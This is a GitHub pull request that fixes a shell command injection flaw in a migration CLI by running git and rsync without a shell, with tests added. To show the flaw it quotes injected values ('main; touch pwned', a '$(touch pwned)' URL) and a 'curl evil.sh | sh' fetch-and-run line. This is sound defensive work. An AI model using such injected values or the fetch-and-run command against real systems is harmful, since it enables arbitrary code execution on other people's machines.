fix(cli): prevent shell command injection in deco-migrate clone/copy - #459
Open
0xcucumbersalad wants to merge 1 commit into
Open
fix(cli): prevent shell command injection in deco-migrate clone/copy#4590xcucumbersalad wants to merge 1 commit into
0xcucumbersalad wants to merge 1 commit into
Conversation
deco-migrate-cli.ts built `git clone` and `rsync` command strings by interpolating untrusted input (repo URL, --branch value, local source path) and ran them via execSync (/bin/sh -c). A branch like `main; touch pwned` or a URL like `https://…/$(touch pwned)` broke out of the intended command and executed arbitrary commands on the machine running the CLI (dev laptop / CI runner), with that operator's privileges and secrets. Fix: route every command whose arguments derive from untrusted input through a no-shell `runArgv` (spawnSync, shell:false), so each value is a discrete argv element and shell metacharacters are inert. The now-dead `run()` shell helper is removed; execSync remains only for the fixed, operator-controlled `diffAgainstRef` pipelines. Adds deco-migrate-cli.test.ts: unit asserts arg-builders keep injection strings as single literal argv elements, and an end-to-end test runs the real `git` with a malicious --branch/URL and asserts the injected marker file is never created. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
deco-migrate-cli.tsbuiltgit cloneandrsynccommands as shell strings with untrusted input glued in, then ran them throughexecSync(/bin/sh -c). Shell metacharacters in the input were re-parsed by the shell, so they executed as commands.Vulnerable sinks (before):
Untrusted inputs: the repo URL (positional), the
--branchvalue, and the local source path — all things a caller "migrating their repo" supplies.Impact
Arbitrary command execution on the machine running the CLI (dev laptop / CI runner), with that operator's privileges and secrets.
--branch 'main; touch pwned'→ shell runsgit clone … --branch mainthentouch pwned ….https://github.com/org/$(touch pwned)→$(…)evaluates before git runs (passes theisGitUrlcheck, stillstartsWith("https://")). Double quotes stop word-splitting, not command substitution.Swap
touch pwnedforcurl evil.sh | sh= full RCE.The tool itself (git/rsync) was never the problem — the bug is building a command as text and letting a shell execute it. git never sees the injected part; the shell does.
Fix
Route every command whose arguments derive from untrusted input through a no-shell helper:
git/rsyncreceive each value as one literal argument (a--branchvalue ofmain; touch pwnedis just an invalid branch name → git errors, nothing else runs). The now-deadrun()shell helper is removed;execSyncremains only for the fixed, operator-controlleddiffAgainstReffind … | wc -lpipelines (no untrusted input, needs a pipe).Tests
New
deco-migrate-cli.test.ts(5 tests, all passing):buildCloneArgs/buildRsyncArgskeep injection strings as single literal argv elements (never fractured on;/whitespace);gitwith a malicious--branchand a$(…)URL, asserts git exits non-zero and the injected marker file is never created.Scope / notes
package.jsonname inmigrate.ts) and F6 (codegen filename → generated-code injection ingenerate-loaders/sections.ts) are the same class and still open — happy to follow up in separate PRs.main()is now guarded behind anisMainModule()check so the test can import the arg-builders without executing the CLI (matches the pattern ingenerate-blocks.ts).🤖 Generated with Claude Code
Summary by cubic
Fixes a command injection vulnerability in
deco-migrateclone/copy by removing shell-based command execution.gitandrsyncnow run without a shell, so user inputs (URL, branch, paths) are treated as literal args and can’t trigger RCE.Bug Fixes
git cloneandrsyncthroughspawnSyncwithshell: falsevia a newrunArgvhelper.buildCloneArgsandbuildRsyncArgs; remove the shell-basedrun()helper. KeepexecSynconly for fixed, operator-controlled diffs.--branchand URL values and verify no injected commands run.Refactors
isMainModule()so tests can import helpers without executing the CLI.Written for commit cf069f0. Summary will update on new commits.